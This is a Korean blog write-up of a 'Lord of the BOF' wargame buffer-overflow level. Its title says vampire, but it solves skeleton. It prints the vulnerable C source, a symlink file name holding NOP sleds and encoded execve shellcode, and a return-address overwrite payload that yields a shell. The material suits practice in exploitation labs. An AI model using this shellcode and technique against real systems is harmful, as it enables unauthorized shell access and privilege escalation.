Pwnable/LOB

[LOB] vampire 문제 풀이!!

RootJJang 2022. 5. 19. 17:47
SMALL

echo "소스코드 확인!!"

 

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

buffer를 초기화해주고 argv도 초기화하네요

 

그렇지만 argv[0]은 초기화되지 않습니다!

 

그렇다면 argv[0] 즉, 파일명을 쉘코드로 해주고 RET에 argv[0]의 주소를 넣으면 쉘이 실행되겠네요

 

https://qpalzm1029.tistory.com/47

 

[LOB] orge 문제 풀이!!!!

स्रोत कोड की जाँच करें!! [orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include #include extern char *..

qpalzm1029.tistory.com

위 문제와 풀이가 똑같습니다

 

argv[0]의 주소를 구해봅시다

 

gdb로 분석하기 위해 skeletoncp라는 파일을 복사해주겠습니다

 

이제 tmp에 가서 쉘코드를 곁들인 파일을 skeletoncp에 링크 걸어주겠습니다

 

ln -s /home/vampire/skeletoncp `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`

 

이제 gdb로 분석해보겠습니다

 

argv[0]의 주소를 알기 위해 저렇게 페이로드를 작성해 실행해 보았습니다

 

`

스택을 1000개 정도 출력해보겠습니다

 

argv[0]과 argv[1]의 주소가 보이네요

 

RET에 덮어줄 주소를 0xbffffa60쯤으로 해봅시다

 

한 번 페이로드를 짜보죠

 

Payload = ./* `python -c 'print "\x90"*44 + "\x60\xfa\xff\xbf"'`

 

음.. core dumped가 일어났네요

 

한 번 core를 분석해보겠습니다

 

0xbfffff30으로 해보죠

 

쉘이 잘 실행되네요

 

이제 링크할 파일을 bof가 아닌 skeleton으로 해주겠습니다

 

무야홓~

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] golem 문제 풀이!!!!!  (1) 2022.05.28
[LOB] skeleton 문제 풀이!!!!!  (4) 2022.05.26
[LOB] troll 문제 풀이!  (0) 2022.05.16
[LOB] orge 문제 풀이!!!!  (2) 2022.05.15
[LOB] darkelf 문제 풀이!!!!!  (0) 2022.05.13